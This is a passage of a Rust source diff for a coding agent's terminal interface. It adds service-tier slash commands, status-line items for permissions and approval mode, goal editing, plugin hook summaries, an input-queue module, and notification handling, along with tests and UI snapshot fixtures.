@@ -92,10 +94,11 @@ fn tab_bar_lines(tabs: &[SelectionTab], active_idx: usize, width: u16) -> Vec<Li
fn tab_unit(label: &str, active: bool) -> Vec<Span<'static>> {
if active {
let style = accent_style();
vec![
"[".cyan().bold(),
label.to_string().cyan().bold(),
"]".cyan().bold(),
"[".set_style(style),
label.to_string().set_style(style),
"]".set_style(style),
]
} else {
vec![label.to_string().dim()]
+158 -11
View File
@@ -1,4 +1,4 @@
//! Shared helpers for filtering and matching built-in slash commands.
//! Shared helpers for filtering and matching built-in and model service-tier slash commands.
//!
//! The same sandbox- and feature-gating rules are used by both the composer
//! and the command popup. Centralizing them here keeps those call sites small
@@ -10,12 +10,55 @@ use codex_utils_fuzzy_match::fuzzy_match;
use crate::slash_command::SlashCommand;
use crate::slash_command::built_in_slash_commands;
#[derive(Clone, Debug, PartialEq, Eq)]
pub(crate) struct ServiceTierCommand {
pub(crate) id: String,
pub(crate) name: String,
pub(crate) description: String,
}
#[derive(Clone, Debug, PartialEq, Eq)]
pub(crate) enum SlashCommandItem {
Builtin(SlashCommand),
ServiceTier(ServiceTierCommand),
}
impl SlashCommandItem {
pub(crate) fn command(&self) -> &str {
match self {
Self::Builtin(cmd) => cmd.command(),
Self::ServiceTier(command) => &command.name,
}
}
pub(crate) fn supports_inline_args(&self) -> bool {
match self {
Self::Builtin(cmd) => cmd.supports_inline_args(),
Self::ServiceTier(_) => false,
}
}
pub(crate) fn available_in_side_conversation(&self) -> bool {
match self {
Self::Builtin(cmd) => cmd.available_in_side_conversation(),
Self::ServiceTier(_) => false,
}
}
pub(crate) fn available_during_task(&self) -> bool {
match self {
Self::Builtin(cmd) => cmd.available_during_task(),
Self::ServiceTier(_) => false,
}
}
}
#[derive(Clone, Copy, Debug, Default)]
pub(crate) struct BuiltinCommandFlags {
pub(crate) collaboration_modes_enabled: bool,
pub(crate) connectors_enabled: bool,
pub(crate) plugins_command_enabled: bool,
pub(crate) fast_command_enabled: bool,
pub(crate) service_tier_commands_enabled: bool,
pub(crate) goal_command_enabled: bool,
pub(crate) personality_command_enabled: bool,
pub(crate) realtime_conversation_enabled: bool,
@@ -35,7 +78,6 @@ pub(crate) fn builtins_for_input(flags: BuiltinCommandFlags) -> Vec<(&'static st
})
.filter(|(_, cmd)| flags.connectors_enabled || *cmd != SlashCommand::Apps)
.filter(|(_, cmd)| flags.plugins_command_enabled || *cmd != SlashCommand::Plugins)
.filter(|(_, cmd)| flags.fast_command_enabled || *cmd != SlashCommand::Fast)
.filter(|(_, cmd)| flags.goal_command_enabled || *cmd != SlashCommand::Goal)
.filter(|(_, cmd)| flags.personality_command_enabled || *cmd != SlashCommand::Personality)
.filter(|(_, cmd)| flags.realtime_conversation_enabled || *cmd != SlashCommand::Realtime)
@@ -44,6 +86,29 @@ pub(crate) fn builtins_for_input(flags: BuiltinCommandFlags) -> Vec<(&'static st
.collect()
}
pub(crate) fn commands_for_input(
flags: BuiltinCommandFlags,
service_tier_commands: &[ServiceTierCommand],
) -> Vec<SlashCommandItem> {
let mut commands = Vec::new();
let tiers_enabled = flags.service_tier_commands_enabled;
for (_, cmd) in builtins_for_input(flags) {
commands.push(SlashCommandItem::Builtin(cmd));
if cmd == SlashCommand::Model && tiers_enabled {
commands.extend(
service_tier_commands
.iter()
.cloned()
.map(SlashCommandItem::ServiceTier),
);
}
}
commands
.into_iter()
.filter(|cmd| !flags.side_conversation_active || cmd.available_in_side_conversation())
.collect()
}
/// Find a single built-in command by exact name, after applying feature gating.
///
/// Side-conversation gating is intentionally enforced by dispatch rather than exact lookup so a
@@ -59,24 +124,49 @@ pub(crate) fn find_builtin_command(name: &str, flags: BuiltinCommandFlags) -> Op
.then_some(cmd)
}
/// Whether any visible built-in fuzzily matches the provided prefix.
pub(crate) fn has_builtin_prefix(name: &str, flags: BuiltinCommandFlags) -> bool {
builtins_for_input(flags)
pub(crate) fn find_slash_command(
name: &str,
flags: BuiltinCommandFlags,
service_tier_commands: &[ServiceTierCommand],
) -> Option<SlashCommandItem> {
if let Some(cmd) = find_builtin_command(name, flags) {
return Some(SlashCommandItem::Builtin(cmd));
}
let tiers_enabled = flags.service_tier_commands_enabled;
tiers_enabled
.then(|| {
service_tier_commands
.iter()
.find(|command| command.name == name)
.cloned()
.map(SlashCommandItem::ServiceTier)
})
.flatten()
}
pub(crate) fn has_slash_command_prefix(
name: &str,
flags: BuiltinCommandFlags,
service_tier_commands: &[ServiceTierCommand],
) -> bool {
commands_for_input(flags, service_tier_commands)
.into_iter()
.any(|(command_name, _)| fuzzy_match(command_name, name).is_some())
.any(|command| fuzzy_match(command.command(), name).is_some())
}
#[cfg(test)]
mod tests {
use super::*;
use pretty_assertions::assert_eq;
use std::slice::from_ref;
fn all_enabled_flags() -> BuiltinCommandFlags {
BuiltinCommandFlags {
collaboration_modes_enabled: true,
connectors_enabled: true,
plugins_command_enabled: true,
fast_command_enabled: true,
service_tier_commands_enabled: true,
goal_command_enabled: true,
personality_command_enabled: true,
realtime_conversation_enabled: true,
@@ -117,10 +207,49 @@ mod tests {
}
#[test]
fn fast_command_is_hidden_when_disabled() {
fn service_tier_commands_are_hidden_when_disabled() {
let mut flags = all_enabled_flags();
flags.fast_command_enabled = false;
assert_eq!(find_builtin_command("fast", flags), None);
flags.service_tier_commands_enabled = false;
let commands = vec![ServiceTierCommand {
id: "priority".to_string(),
name: "fast".to_string(),
description: "fastest inference".to_string(),
}];
assert_eq!(find_slash_command("fast", flags, &commands), None);
}
#[test]
fn all_service_tiers_are_exposed_as_commands_after_model() {
let commands = vec![
ServiceTierCommand {
id: "priority".to_string(),
name: "fast".to_string(),
description: "fastest inference".to_string(),
},
ServiceTierCommand {
id: "batch".to_string(),
name: "slow".to_string(),
description: "slower inference with lower priority".to_string(),
},
];
let items = commands_for_input(all_enabled_flags(), &commands);
let model_idx = items
.iter()
.position(|item| matches!(item, SlashCommandItem::Builtin(SlashCommand::Model)))
.expect("model command should be visible");
let inserted = items
.into_iter()
.skip(model_idx + 1)
.take(commands.len())
.collect::<Vec<_>>();
let expected = commands
.into_iter()
.map(SlashCommandItem::ServiceTier)
.collect::<Vec<_>>();
assert_eq!(inserted, expected);
}
#[test]
@@ -188,4 +317,22 @@ mod tests {
Some(SlashCommand::Review)
);
}
#[test]
fn side_conversation_exact_lookup_still_resolves_service_tier_commands_for_dispatch_error() {
let command = ServiceTierCommand {
id: "priority".to_string(),
name: "fast".to_string(),
description: "fastest inference".to_string(),
};
let flags = BuiltinCommandFlags {
side_conversation_active: true,
..all_enabled_flags()
};
assert_eq!(
find_slash_command("fast", flags, from_ref(&command)),
Some(SlashCommandItem::ServiceTier(command))
);
}
}
@@ -0,0 +1,18 @@
---
source: tui/src/bottom_pane/app_link_view.rs
expression: "render_snapshot(&view, Rect::new(0, 0, 72, view.desired_height(72)))"
---
Google Calendar
Reconnect Google Calendar on ChatGPT.
URL
https://chatgpt.com/apps/google-calendar/connector_google_calendar
Sign in to this app in your browser, then return here.
› 1. Open sign-in URL
2. Back
Use tab / ↑ ↓ to move, enter to select, esc to close
@@ -0,0 +1,19 @@
---
source: tui/src/bottom_pane/app_link_view.rs
expression: "render_snapshot(&view, Rect::new(0, 0, 72, view.desired_height(72)))"
---
Action required
Server: payments
Review the payment details to continue.
URL
https://payments.example/checkout/123
Complete the requested action in your browser, then return here.
› 1. Open link
2. Back
Use tab / ↑ ↓ to move, enter to select, esc to close
@@ -0,0 +1,17 @@
---
source: tui/src/bottom_pane/app_link_view.rs
expression: "render_snapshot(&view, Rect::new(0, 0, 72, view.desired_height(72)))"
---
Finish in Browser
Complete the requested action in the browser window that just
opened.
Then return here and select "I finished".
Link:
https://payments.example/checkout/123
› 1. I finished
2. Back
Use tab / ↑ ↓ to move, enter to select, esc to close
@@ -10,6 +10,8 @@ expression: "render_lines(&view, 112)"
PreToolUse 2 1 Before a tool executes
PermissionRequest 1 1 When permission is requested
PostToolUse 0 0 After a tool executes
PreCompact 0 0 Before context compaction
PostCompact 0 0 After context compaction
SessionStart 0 0 When a new session starts
UserPromptSubmit 0 0 When the user submits a prompt
Stop 0 0 Right before Codex ends its turn
@@ -14,6 +14,8 @@ expression: "render_lines(&view, 112)"
PreToolUse 0 0 Before a tool executes
PermissionRequest 0 0 When permission is requested
PostToolUse 0 0 After a tool executes
PreCompact 0 0 Before context compaction
PostCompact 0 0 After context compaction
SessionStart 0 0 When a new session starts
UserPromptSubmit 0 0 When the user submits a prompt
Stop 0 0 Right before Codex ends its turn
@@ -6,12 +6,16 @@ expression: "render_lines(&view, 112)"
Hooks
Lifecycle hooks from config and enabled plugins.
⚠ 1 hook needs review before it can run.
Event Installed Active Review Description
PreToolUse 1 0 1 Before a tool executes
PermissionRequest 0 0 0 When permission is requested
PostToolUse 0 0 0 After a tool executes
PreCompact 0 0 0 Before context compaction
PostCompact 0 0 0 After context compaction
SessionStart 0 0 0 When a new session starts
UserPromptSubmit 0 0 0 When the user submits a prompt
Stop 0 0 0 Right before Codex ends its turn
Press enter to view hooks; esc to close
Press t to trust all; enter to review hooks; esc to close
@@ -11,7 +11,7 @@ expression: "render_lines(&view, 84)"
› [x] project-name Project name (falls back to current directory name)
[x] activity Spinner while working, action-required message while blo…
[x] run-state Compact session run-state text (Ready, Working, Thinking)
[x] thread-title Current thread title (omitted when unavailable)
[x] thread-title Current thread title, or thread identifier when unnamed
[ ] app-name Codex app name
[ ] current-dir Current working directory
[ ] git-branch Current Git branch (omitted when unavailable)
@@ -12,9 +12,11 @@
//! - Model information (name, reasoning level)
//! - Directory paths (current dir, project root)
//! - Git information (branch name)
//! - Permissions profile
//! - Approval mode
//! - Context usage (remaining %, used %, window size)
//! - Usage limits (5-hour, weekly)
//! - Session info (thread title, ID, tokens used)
//! - Session info (thread title, thread ID, tokens used)
//! - Application version
use ratatui::buffer::Buffer;
@@ -46,7 +48,7 @@ const STATUS_LINE_USE_THEME_COLORS_ITEM_ID: &str = "status-line-use-theme-colors
/// Some items are conditionally displayed based on availability:
/// - Git-related items only show when in a git repository
/// - Context/limit items only show when data is available from the API
/// - Session ID only shows after a session has started
/// - Thread ID only shows after a session has started
#[derive(EnumIter, EnumString, Display, Debug, Clone, Copy, Eq, PartialEq, Ord, PartialOrd)]
#[strum(serialize_all = "kebab_case")]
pub(crate) enum StatusLineItem {
@@ -81,6 +83,13 @@ pub(crate) enum StatusLineItem {
#[strum(to_string = "run-state", serialize = "status")]
Status,
/// Active permission profile or sandbox summary.
Permissions,
/// Active command approval mode.
#[strum(to_string = "approval-mode", serialize = "approval")]
ApprovalMode,
/// Percentage of context window remaining.
ContextRemaining,
@@ -111,7 +120,8 @@ pub(crate) enum StatusLineItem {
/// Total output tokens generated.
TotalOutputTokens,
/// Full session UUID.
/// Full thread UUID.
#[strum(to_string = "thread-id", serialize = "session-id")]
SessionId,
/// Whether Fast mode is currently active.
@@ -143,6 +153,8 @@ impl StatusLineItem {
"Committed branch changes against the default branch (omitted when unavailable)"
}
StatusLineItem::Status => "Compact session run-state text (Ready, Working, Thinking)",
StatusLineItem::Permissions => "Active permission profile or sandbox mode",
StatusLineItem::ApprovalMode => "Active command approval mode",
StatusLineItem::ContextRemaining => {
"Percentage of context window remaining (omitted when unknown)"
}
@@ -162,12 +174,12 @@ impl StatusLineItem {
StatusLineItem::UsedTokens => "Total tokens used in session (omitted when zero)",
StatusLineItem::TotalInputTokens => "Total input tokens used in session",
StatusLineItem::TotalOutputTokens => "Total output tokens used in session",
StatusLineItem::SessionId => {
"Current session identifier (omitted until session starts)"
}
StatusLineItem::SessionId => "Current thread identifier (omitted until thread starts)",
StatusLineItem::FastMode => "Whether Fast mode is currently active",
StatusLineItem::RawOutput => "Whether raw scrollback mode is active",
StatusLineItem::ThreadTitle => "Current thread title (omitted when unavailable)",
StatusLineItem::ThreadTitle => {
"Current thread title, or thread identifier when unnamed"
}
StatusLineItem::TaskProgress => {
"Latest task progress from update_plan (omitted until available)"
}
@@ -184,6 +196,8 @@ impl StatusLineItem {
StatusLineItem::PullRequestNumber => StatusSurfacePreviewItem::PullRequestNumber,
StatusLineItem::BranchChanges => StatusSurfacePreviewItem::BranchChanges,
StatusLineItem::Status => StatusSurfacePreviewItem::Status,
StatusLineItem::Permissions => StatusSurfacePreviewItem::Permissions,
StatusLineItem::ApprovalMode => StatusSurfacePreviewItem::ApprovalMode,
StatusLineItem::ContextRemaining => StatusSurfacePreviewItem::ContextRemaining,
StatusLineItem::ContextUsed => StatusSurfacePreviewItem::ContextUsed,
StatusLineItem::FiveHourLimit => StatusSurfacePreviewItem::FiveHourLimit,
@@ -45,6 +45,8 @@ impl StatusLineAccent {
StatusLineItem::FiveHourLimit | StatusLineItem::WeeklyLimit => Self::Limit,
StatusLineItem::CodexVersion | StatusLineItem::SessionId => Self::Metadata,
StatusLineItem::FastMode | StatusLineItem::RawOutput => Self::Mode,
StatusLineItem::Permissions => Self::Mode,
StatusLineItem::ApprovalMode => Self::Mode,
StatusLineItem::ThreadTitle => Self::Thread,
StatusLineItem::TaskProgress => Self::Progress,
}
@@ -16,6 +16,8 @@ pub(crate) enum StatusSurfacePreviewItem {
GitBranch,
PullRequestNumber,
BranchChanges,
Permissions,
ApprovalMode,
ContextRemaining,
ContextUsed,
FiveHourLimit,
@@ -45,6 +47,8 @@ impl StatusSurfacePreviewItem {
StatusSurfacePreviewItem::GitBranch => "feat/awesome-feature",
StatusSurfacePreviewItem::PullRequestNumber => "PR #123",
StatusSurfacePreviewItem::BranchChanges => "+12 -3",
StatusSurfacePreviewItem::Permissions => "Workspace",
StatusSurfacePreviewItem::ApprovalMode => "on-request",
StatusSurfacePreviewItem::ContextRemaining => "Context 0% left",
StatusSurfacePreviewItem::ContextUsed => "Context 0% used",
StatusSurfacePreviewItem::FiveHourLimit => "5h 0%",
@@ -74,6 +78,8 @@ impl StatusSurfacePreviewItem {
Self::GitBranch,
Self::PullRequestNumber,
Self::BranchChanges,
Self::Permissions,
Self::ApprovalMode,
Self::ContextRemaining,
Self::ContextUsed,
Self::FiveHourLimit,
+4 -3
View File
@@ -71,7 +71,8 @@ pub(crate) enum TerminalTitleItem {
TotalInputTokens,
/// Total output tokens generated.
TotalOutputTokens,
/// Full session UUID.
/// Full thread UUID.
#[strum(to_string = "thread-id", serialize = "session-id")]
SessionId,
/// Whether Fast mode is currently active.
FastMode,
@@ -96,7 +97,7 @@ impl TerminalTitleItem {
TerminalTitleItem::Status => {
"Compact session run-state text (Ready, Working, Thinking)"
}
TerminalTitleItem::Thread => "Current thread title (omitted when unavailable)",
TerminalTitleItem::Thread => "Current thread title, or thread identifier when unnamed",
TerminalTitleItem::GitBranch => "Current Git branch (omitted when unavailable)",
TerminalTitleItem::ContextRemaining => {
"Percentage of context window remaining (omitted when unknown)"
@@ -115,7 +116,7 @@ impl TerminalTitleItem {
TerminalTitleItem::TotalInputTokens => "Total input tokens used in session",
TerminalTitleItem::TotalOutputTokens => "Total output tokens used in session",
TerminalTitleItem::SessionId => {
"Current session identifier (omitted until session starts)"
"Current thread identifier (omitted until thread starts)"
}
TerminalTitleItem::FastMode => "Whether Fast mode is currently active",
TerminalTitleItem::Model => "Current model name",
File diff suppressed because it is too large Load Diff
+20
View File
@@ -0,0 +1,20 @@
//! Connector list cache state for `ChatWidget`.
use crate::app_event::ConnectorsSnapshot;
#[derive(Debug, Clone, Default)]
pub(super) enum ConnectorsCacheState {
#[default]
Uninitialized,
Loading,
Ready(ConnectorsSnapshot),
Failed(String),
}
#[derive(Debug, Default)]
pub(super) struct ConnectorsState {
pub(super) cache: ConnectorsCacheState,
pub(super) partial_snapshot: Option<ConnectorsSnapshot>,
pub(super) prefetch_in_flight: bool,
pub(super) force_refetch_pending: bool,
}
+36 -3
View File
@@ -9,6 +9,29 @@ impl ChatWidget {
self.add_plain_history_lines(goal_summary_lines(&goal));
}
pub(crate) fn show_goal_edit_prompt(&mut self, thread_id: ThreadId, goal: AppThreadGoal) {
let tx = self.app_event_tx.clone();
let status = edited_goal_status(goal.status);
let token_budget = goal.token_budget;
let view = CustomPromptView::new(
"Edit goal".to_string(),
"Type a goal objective and press Enter".to_string(),
goal.objective,
/*context_label*/ None,
Box::new(move |objective: String| {
tx.send(AppEvent::SetThreadGoalObjective {
thread_id,
objective,
mode: crate::app_event::ThreadGoalSetMode::UpdateExisting {
status,
token_budget,
},
});
}),
);
self.bottom_pane.show_view(Box::new(view));
}
pub(crate) fn show_resume_paused_goal_prompt(
&mut self,
thread_id: ThreadId,
@@ -79,10 +102,10 @@ fn goal_summary_lines(goal: &AppThreadGoal) -> Vec<Line<'static>> {
]));
}
let command_hint = match goal.status {
AppThreadGoalStatus::Active => "Commands: /goal pause, /goal clear",
AppThreadGoalStatus::Paused => "Commands: /goal resume, /goal clear",
AppThreadGoalStatus::Active => "Commands: /goal edit, /goal pause, /goal clear",
AppThreadGoalStatus::Paused => "Commands: /goal edit, /goal resume, /goal clear",
AppThreadGoalStatus::BudgetLimited | AppThreadGoalStatus::Complete => {
"Commands: /goal clear"
"Commands: /goal edit, /goal clear"
}
};
lines.push(Line::default());
@@ -98,3 +121,13 @@ fn goal_status_label(status: AppThreadGoalStatus) -> &'static str {
AppThreadGoalStatus::Complete => "complete",
}
}
fn edited_goal_status(status: AppThreadGoalStatus) -> AppThreadGoalStatus {
match status {
AppThreadGoalStatus::Active => AppThreadGoalStatus::Active,
AppThreadGoalStatus::Paused => AppThreadGoalStatus::Paused,
AppThreadGoalStatus::BudgetLimited | AppThreadGoalStatus::Complete => {
AppThreadGoalStatus::Active
}
}
}
+12 -13
View File
@@ -3,6 +3,8 @@ use std::path::PathBuf;
use super::ChatWidget;
use crate::app_event::AppEvent;
use crate::bottom_pane::HooksBrowserView;
use crate::hooks_rpc::hooks_list_entry_for_cwd;
use codex_app_server_protocol::HooksListEntry;
use codex_app_server_protocol::HooksListResponse;
impl ChatWidget {
@@ -23,21 +25,18 @@ impl ChatWidget {
match result {
Ok(response) => {
let (hooks, warnings, errors) = response
.data
.into_iter()
.find(|entry| entry.cwd.as_path() == cwd.as_path())
.map(|entry| (entry.hooks, entry.warnings, entry.errors))
.unwrap_or_default();
self.bottom_pane.show_view(Box::new(HooksBrowserView::new(
hooks,
warnings,
errors,
self.app_event_tx.clone(),
)));
self.request_redraw();
self.open_hooks_browser(hooks_list_entry_for_cwd(response, &cwd));
}
Err(err) => self.add_error_message(format!("Failed to load hooks: {err}")),
}
}
pub(crate) fn open_hooks_browser(&mut self, entry: HooksListEntry) {
self.bottom_pane
.show_view(Box::new(HooksBrowserView::from_entry(
entry,
self.app_event_tx.clone(),
)));
self.request_redraw();
}
}
+154
View File
@@ -0,0 +1,154 @@
//! Queued user input and pending-steer state for `ChatWidget`.
//!
//! This module keeps the mutable input queues together so `ChatWidget` can
//! apply UI/protocol effects around a focused reducer-style state bag.
use std::collections::VecDeque;
use super::PendingSteer;
use super::QueuedUserMessage;
use super::UserMessage;
use super::UserMessageHistoryRecord;
use super::user_message_preview_text;
#[derive(Debug, Default, PartialEq, Eq)]
pub(super) struct PendingInputPreview {
pub(super) queued_messages: Vec<String>,
pub(super) pending_steers: Vec<String>,
pub(super) rejected_steers: Vec<String>,
}
#[derive(Debug, Default)]
pub(super) struct InputQueueState {
/// User inputs queued while a turn is in progress.
pub(super) queued_user_messages: VecDeque<QueuedUserMessage>,
/// History records for queued user messages. Slash commands such as `/goal`
/// can render history that differs from the text submitted to core, so this
/// stays in lockstep with `queued_user_messages`, with missing entries
/// treated as user-message text.
pub(super) queued_user_message_history_records: VecDeque<UserMessageHistoryRecord>,
/// A user turn has been submitted to core, but `TurnStarted` has not arrived yet.
pub(super) user_turn_pending_start: bool,
/// User messages that tried to steer a non-regular turn and must be retried first.
pub(super) rejected_steers_queue: VecDeque<UserMessage>,
/// History records for rejected steers. Slash commands such as `/goal` can
/// render history that differs from the text submitted to core, so this stays
/// in lockstep with `rejected_steers_queue`, with missing entries treated as
/// user-message text.
pub(super) rejected_steer_history_records: VecDeque<UserMessageHistoryRecord>,
/// Steers already submitted to core but not yet committed into history.
pub(super) pending_steers: VecDeque<PendingSteer>,
/// When set, the next interrupt should resubmit all pending steers as one
/// fresh user turn instead of restoring them into the composer.
pub(super) submit_pending_steers_after_interrupt: bool,
pub(super) suppress_queue_autosend: bool,
}
impl InputQueueState {
pub(super) fn has_queued_follow_up_messages(&self) -> bool {
!self.rejected_steers_queue.is_empty() || !self.queued_user_messages.is_empty()
}
pub(super) fn clear(&mut self) {
self.queued_user_messages.clear();
self.queued_user_message_history_records.clear();
self.user_turn_pending_start = false;
self.rejected_steers_queue.clear();
self.rejected_steer_history_records.clear();
self.pending_steers.clear();
self.submit_pending_steers_after_interrupt = false;
}
pub(super) fn preview(&self) -> PendingInputPreview {
let queued_messages = self
.queued_user_messages
.iter()
.enumerate()
.map(|(idx, message)| {
user_message_preview_text(
message,
self.queued_user_message_history_records.get(idx),
)
})
.collect();
let pending_steers = self
.pending_steers
.iter()
.map(|steer| {
user_message_preview_text(&steer.user_message, Some(&steer.history_record))
})
.collect();
let rejected_steers = self
.rejected_steers_queue
.iter()
.enumerate()
.map(|(idx, message)| {
user_message_preview_text(message, self.rejected_steer_history_records.get(idx))
})
.collect();
PendingInputPreview {
queued_messages,
pending_steers,
rejected_steers,
}
}
}
#[cfg(test)]
mod tests {
use pretty_assertions::assert_eq;
use super::*;
#[test]
fn preview_keeps_queue_categories_separate() {
let mut state = InputQueueState::default();
state
.queued_user_messages
.push_back(UserMessage::from("queued").into());
state
.rejected_steers_queue
.push_back(UserMessage::from("rejected"));
state.pending_steers.push_back(PendingSteer {
user_message: UserMessage::from("pending"),
history_record: UserMessageHistoryRecord::UserMessageText,
compare_key: crate::chatwidget::user_messages::PendingSteerCompareKey {
message: "pending".to_string(),
image_count: 0,
},
});
assert_eq!(
state.preview(),
PendingInputPreview {
queued_messages: vec!["queued".to_string()],
pending_steers: vec!["pending".to_string()],
rejected_steers: vec!["rejected".to_string()],
}
);
}
#[test]
fn clear_resets_all_input_queues() {
let mut state = InputQueueState::default();
state
.queued_user_messages
.push_back(UserMessage::from("queued").into());
state
.rejected_steers_queue
.push_back(UserMessage::from("rejected"));
state.user_turn_pending_start = true;
state.submit_pending_steers_after_interrupt = true;
state.clear();
assert!(state.queued_user_messages.is_empty());
assert!(state.queued_user_message_history_records.is_empty());
assert!(!state.user_turn_pending_start);
assert!(state.rejected_steers_queue.is_empty());
assert!(state.rejected_steer_history_records.is_empty());
assert!(state.pending_steers.is_empty());
assert!(!state.submit_pending_steers_after_interrupt);
}
}
+29
View File
@@ -1728,6 +1728,12 @@ impl ChatWidget {
is_disabled: true,
..Default::default()
});
items.push(SelectionItem {
name: "Hooks".to_string(),
description: Some(plugin_hook_summary(plugin)),
is_disabled: true,
..Default::default()
});
items.push(SelectionItem {
name: "Apps".to_string(),
description: Some(plugin_app_summary(plugin)),
@@ -2142,6 +2148,29 @@ fn plugin_app_summary(plugin: &PluginDetail) -> String {
}
}
fn plugin_hook_summary(plugin: &PluginDetail) -> String {
if plugin.hooks.is_empty() {
"No plugin hooks.".to_string()
} else {
let mut event_counts = Vec::<(codex_app_server_protocol::HookEventName, usize)>::new();
for hook in &plugin.hooks {
if let Some((_, handler_count)) = event_counts
.iter_mut()
.find(|(event_name, _)| *event_name == hook.event_name)
{
*handler_count += 1;
} else {
event_counts.push((hook.event_name, 1));
}
}
event_counts
.into_iter()
.map(|(event_name, handler_count)| format!("{event_name:?} ({handler_count})"))
.collect::<Vec<_>>()
.join(", ")
}
}
fn plugin_mcp_summary(plugin: &PluginDetail) -> String {
if plugin.mcp_servers.is_empty() {
"No plugin MCP servers.".to_string()
+348
View File
@@ -0,0 +1,348 @@
use super::*;
impl ChatWidget {
pub(crate) fn handle_server_notification(
&mut self,
notification: ServerNotification,
replay_kind: Option<ReplayKind>,
) {
if self.active_side_conversation
&& replay_kind.is_none()
&& matches!(notification, ServerNotification::McpServerStatusUpdated(_))
{
return;
}
let from_replay = replay_kind.is_some();
let is_resume_initial_replay =
matches!(replay_kind, Some(ReplayKind::ResumeInitialMessages));
let is_retry_error = matches!(
&notification,
ServerNotification::Error(ErrorNotification {
will_retry: true,
..
})
);
if !is_resume_initial_replay && !is_retry_error {
self.restore_retry_status_header_if_present();
}
match notification {
ServerNotification::ThreadTokenUsageUpdated(notification) => {
self.set_token_info(Some(token_usage_info_from_app_server(
notification.token_usage,
)));
}
ServerNotification::ThreadNameUpdated(notification) => {
match ThreadId::from_string(&notification.thread_id) {
Ok(thread_id) => {
self.on_thread_name_updated(thread_id, notification.thread_name)
}
Err(err) => {
tracing::warn!(
thread_id = notification.thread_id,
error = %err,
"ignoring app-server ThreadNameUpdated with invalid thread_id"
);
}
}
}
ServerNotification::ThreadGoalUpdated(notification) => {
self.on_thread_goal_updated(notification.goal, notification.turn_id);
}
ServerNotification::ThreadGoalCleared(notification) => {
self.on_thread_goal_cleared(notification.thread_id.as_str());
}
ServerNotification::TurnStarted(notification) => {
self.turn_lifecycle.last_turn_id = Some(notification.turn.id);
self.last_non_retry_error = None;
if !matches!(replay_kind, Some(ReplayKind::ResumeInitialMessages)) {
self.on_task_started();
}
}
ServerNotification::TurnCompleted(notification) => {
self.handle_turn_completed_notification(notification, replay_kind);
}
ServerNotification::ItemStarted(notification) => {
self.handle_item_started_notification(notification, replay_kind.is_some());
}
ServerNotification::ItemCompleted(notification) => {
self.handle_item_completed_notification(notification, replay_kind);
}
ServerNotification::AgentMessageDelta(notification) => {
self.on_agent_message_delta(notification.delta);
}
ServerNotification::PlanDelta(notification) => self.on_plan_delta(notification.delta),
ServerNotification::ReasoningSummaryTextDelta(notification) => {
self.on_agent_reasoning_delta(notification.delta);
}
ServerNotification::ReasoningTextDelta(notification) => {
if self.config.show_raw_agent_reasoning {
self.on_agent_reasoning_delta(notification.delta);
}
}
ServerNotification::ReasoningSummaryPartAdded(_) => self.on_reasoning_section_break(),
ServerNotification::TerminalInteraction(notification) => {
self.on_terminal_interaction(notification.process_id, notification.stdin)
}
ServerNotification::CommandExecutionOutputDelta(notification) => {
self.on_exec_command_output_delta(&notification.item_id, &notification.delta);
}
ServerNotification::FileChangeOutputDelta(notification) => {
self.on_patch_apply_output_delta(notification.item_id, notification.delta);
}
ServerNotification::TurnDiffUpdated(notification) => {
self.on_turn_diff(notification.diff)
}
ServerNotification::TurnPlanUpdated(notification) => {
self.on_plan_update(UpdatePlanArgs {
explanation: notification.explanation,
plan: notification
.plan
.into_iter()
.map(|step| UpdatePlanItemArg {
step: step.step,
status: match step.status {
TurnPlanStepStatus::Pending => UpdatePlanItemStatus::Pending,
TurnPlanStepStatus::InProgress => UpdatePlanItemStatus::InProgress,
TurnPlanStepStatus::Completed => UpdatePlanItemStatus::Completed,
},
})
.collect(),
})
}
ServerNotification::HookStarted(notification) => {
self.on_hook_started(notification.run);
}
ServerNotification::HookCompleted(notification) => {
self.on_hook_completed(notification.run);
}
ServerNotification::Error(notification) => {
if notification.will_retry {
if !from_replay {
self.on_stream_error(
notification.error.message,
notification.error.additional_details,
);
}
} else {
self.last_non_retry_error = Some((
notification.turn_id.clone(),
notification.error.message.clone(),
));
self.handle_non_retry_error(
notification.error.message,
notification.error.codex_error_info,
);
}
}
ServerNotification::SkillsChanged(_) => {
self.refresh_skills_for_current_cwd(/*force_reload*/ true);
}
ServerNotification::ModelRerouted(_) => {}
ServerNotification::ModelVerification(notification) => {
self.on_app_server_model_verification(&notification.verifications)
}
ServerNotification::Warning(notification) => self.on_warning(notification.message),
ServerNotification::GuardianWarning(notification) => {
self.on_warning(notification.message)
}
ServerNotification::DeprecationNotice(notification) => {
self.on_deprecation_notice(notification.summary, notification.details)
}
ServerNotification::ConfigWarning(notification) => self.on_warning(
notification
.details
.map(|details| format!("{}: {details}", notification.summary))
.unwrap_or(notification.summary),
),
ServerNotification::McpServerStatusUpdated(notification) => {
self.on_mcp_server_status_updated(notification)
}
ServerNotification::ItemGuardianApprovalReviewStarted(notification) => {
self.on_guardian_review_notification(
notification.review_id,
notification.turn_id,
notification.started_at_ms,
notification.review,
/*completion*/ None,
notification.action,
);
}
ServerNotification::ItemGuardianApprovalReviewCompleted(notification) => {
self.on_guardian_review_notification(
notification.review_id,
notification.turn_id,
notification.started_at_ms,
notification.review,
Some((notification.completed_at_ms, notification.decision_source)),
notification.action,
);
}
ServerNotification::ThreadClosed(_) => {
if !from_replay {
self.on_shutdown_complete();
}
}
ServerNotification::ThreadRealtimeStarted(notification) => {
if !from_replay {
self.on_realtime_conversation_started(notification);
}
}
ServerNotification::ThreadRealtimeItemAdded(notification) => {
if !from_replay {
self.on_realtime_item_added(notification);
}
}
ServerNotification::ThreadRealtimeOutputAudioDelta(notification) => {
if !from_replay {
self.on_realtime_output_audio_delta(notification);
}
}
ServerNotification::ThreadRealtimeError(notification) => {
if !from_replay {
self.on_realtime_error(notification);
}
}
ServerNotification::ThreadRealtimeClosed(notification) => {
if !from_replay {
self.on_realtime_conversation_closed(notification);
}
}
ServerNotification::ThreadRealtimeSdp(notification) => {
if !from_replay {
self.on_realtime_conversation_sdp(notification.sdp);
}
}
ServerNotification::ServerRequestResolved(_)
| ServerNotification::AccountUpdated(_)
| ServerNotification::AccountRateLimitsUpdated(_)
| ServerNotification::ThreadStarted(_)
| ServerNotification::ThreadStatusChanged(_)
| ServerNotification::ThreadArchived(_)
| ServerNotification::ThreadUnarchived(_)
| ServerNotification::RawResponseItemCompleted(_)
| ServerNotification::CommandExecOutputDelta(_)
| ServerNotification::ProcessOutputDelta(_)
| ServerNotification::ProcessExited(_)
| ServerNotification::FileChangePatchUpdated(_)
| ServerNotification::McpToolCallProgress(_)
